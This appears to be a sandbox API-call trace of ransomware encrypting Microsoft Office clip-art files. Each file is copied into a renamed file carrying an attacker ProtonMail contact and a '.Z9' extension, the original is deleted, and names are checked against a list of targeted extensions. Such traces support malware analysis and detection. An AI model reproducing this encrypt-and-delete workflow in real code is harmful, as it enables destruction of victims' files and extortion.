	[0174.530] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4eb0, lpOverlapped=0x0) returned 1
	[0174.532] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.532] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.532] SetEndOfFile (hFile=0x460) returned 1
	[0174.532] CloseHandle (hObject=0x460) returned 1
	[0174.532] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.532] SetEndOfFile (hFile=0x544) returned 1
	[0174.535] CloseHandle (hObject=0x544) returned 1
	[0174.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1
	[0174.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.537] lstrlenW (lpString=".doc") returned 4
	[0174.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.537] lstrlenW (lpString=".docx") returned 5
	[0174.537] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.537] lstrlenW (lpString=".pdf") returned 4
	[0174.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.538] lstrlenW (lpString=".xls") returned 4
	[0174.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.538] lstrlenW (lpString=".xlsx") returned 5
	[0174.538] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.538] lstrlenW (lpString=".ppt") returned 4
	[0174.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.538] lstrlenW (lpString=".zip") returned 4
	[0174.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.538] lstrlenW (lpString=".rar") returned 4
	[0174.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.538] lstrlenW (lpString=".bz2") returned 4
	[0174.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.538] lstrlenW (lpString=".7z") returned 3
	[0174.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.538] lstrlenW (lpString=".dbf") returned 4
	[0174.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.538] lstrlenW (lpString=".1cd") returned 4
	[0174.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".jpg") returned 4
	[0174.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".doc") returned 4
	[0174.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString=".docx") returned 5
	[0174.539] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.539] lstrlenW (lpString=".pdf") returned 4
	[0174.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString=".xls") returned 4
	[0174.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.539] lstrlenW (lpString=".xlsx") returned 5
	[0174.539] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.539] lstrlenW (lpString=".ppt") returned 4
	[0174.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".zip") returned 4
	[0174.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.539] lstrlenW (lpString=".rar") returned 4
	[0174.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString=".bz2") returned 4
	[0174.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString=".7z") returned 3
	[0174.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".dbf") returned 4
	[0174.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".1cd") returned 4
	[0174.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68
	[0174.539] lstrlenW (lpString=".jpg") returned 4
	[0174.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.540] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0174.540] lstrlenW (lpString="J0107188.WMF") returned 12
	[0174.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.541] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4536) returned 1
	[0174.541] CloseHandle (hObject=0x544) returned 1
	[0174.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220
	[0174.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.542] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.542] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0174.543] GetLastError () returned 0x0
	[0174.543] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x11b8, lpOverlapped=0x0) returned 1
	[0174.545] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x11c0, lpOverlapped=0x0) returned 1
	[0174.546] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.546] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.546] SetEndOfFile (hFile=0x460) returned 1
	[0174.546] CloseHandle (hObject=0x460) returned 1
	[0174.546] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.546] SetEndOfFile (hFile=0x544) returned 1
	[0174.549] CloseHandle (hObject=0x544) returned 1
	[0174.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1
	[0174.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.550] lstrlenW (lpString=".doc") returned 4
	[0174.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.550] lstrlenW (lpString=".docx") returned 5
	[0174.550] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.550] lstrlenW (lpString=".pdf") returned 4
	[0174.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString=".xls") returned 4
	[0174.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.551] lstrlenW (lpString=".xlsx") returned 5
	[0174.551] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.551] lstrlenW (lpString=".ppt") returned 4
	[0174.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString=".zip") returned 4
	[0174.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.551] lstrlenW (lpString=".rar") returned 4
	[0174.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString=".bz2") returned 4
	[0174.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString=".7z") returned 3
	[0174.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString=".dbf") returned 4
	[0174.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString=".1cd") returned 4
	[0174.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString=".jpg") returned 4
	[0174.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.551] lstrlenW (lpString=".doc") returned 4
	[0174.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString=".docx") returned 5
	[0174.551] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.551] lstrlenW (lpString=".pdf") returned 4
	[0174.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.551] lstrlenW (lpString=".xls") returned 4
	[0174.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.551] lstrlenW (lpString=".xlsx") returned 5
	[0174.552] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.552] lstrlenW (lpString=".ppt") returned 4
	[0174.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.552] lstrlenW (lpString=".zip") returned 4
	[0174.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.552] lstrlenW (lpString=".rar") returned 4
	[0174.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.552] lstrlenW (lpString=".bz2") returned 4
	[0174.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.552] lstrlenW (lpString=".7z") returned 3
	[0174.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.552] lstrlenW (lpString=".dbf") returned 4
	[0174.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.552] lstrlenW (lpString=".1cd") returned 4
	[0174.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68
	[0174.552] lstrlenW (lpString=".jpg") returned 4
	[0174.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.552] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0174.552] lstrlenW (lpString="J0107192.WMF") returned 12
	[0174.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.553] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9968) returned 1
	[0174.553] CloseHandle (hObject=0x544) returned 1
	[0174.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 0x220
	[0174.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.554] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.554] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0174.555] GetLastError () returned 0x0
	[0174.555] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x26f0, lpOverlapped=0x0) returned 1
	[0174.557] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2700, lpOverlapped=0x0) returned 1
	[0174.558] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.559] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.559] SetEndOfFile (hFile=0x460) returned 1
	[0174.559] CloseHandle (hObject=0x460) returned 1
	[0174.559] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.559] SetEndOfFile (hFile=0x544) returned 1
	[0174.562] CloseHandle (hObject=0x544) returned 1
	[0174.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0174.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1
	[0174.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.563] lstrlenW (lpString=".doc") returned 4
	[0174.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.563] lstrlenW (lpString=".docx") returned 5
	[0174.563] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.563] lstrlenW (lpString=".pdf") returned 4
	[0174.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.563] lstrlenW (lpString=".xls") returned 4
	[0174.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.563] lstrlenW (lpString=".xlsx") returned 5
	[0174.563] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.564] lstrlenW (lpString=".ppt") returned 4
	[0174.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString=".zip") returned 4
	[0174.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.564] lstrlenW (lpString=".rar") returned 4
	[0174.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString=".bz2") returned 4
	[0174.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString=".7z") returned 3
	[0174.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString=".dbf") returned 4
	[0174.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString=".1cd") returned 4
	[0174.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString=".jpg") returned 4
	[0174.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.564] lstrlenW (lpString=".doc") returned 4
	[0174.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString=".docx") returned 5
	[0174.564] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.564] lstrlenW (lpString=".pdf") returned 4
	[0174.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString=".xls") returned 4
	[0174.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.564] lstrlenW (lpString=".xlsx") returned 5
	[0174.564] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.564] lstrlenW (lpString=".ppt") returned 4
	[0174.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.565] lstrlenW (lpString=".zip") returned 4
	[0174.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.565] lstrlenW (lpString=".rar") returned 4
	[0174.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.565] lstrlenW (lpString=".bz2") returned 4
	[0174.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.565] lstrlenW (lpString=".7z") returned 3
	[0174.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.565] lstrlenW (lpString=".dbf") returned 4
	[0174.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.565] lstrlenW (lpString=".1cd") returned 4
	[0174.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68
	[0174.565] lstrlenW (lpString=".jpg") returned 4
	[0174.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.565] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0174.565] lstrlenW (lpString="J0107254.WMF") returned 12
	[0174.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.504] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=20212) returned 1
	[0175.504] CloseHandle (hObject=0x344) returned 1
	[0175.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220
	[0175.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0175.824] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.824] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0175.826] GetLastError () returned 0x0
	[0175.826] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4ef4, lpOverlapped=0x0) returned 1
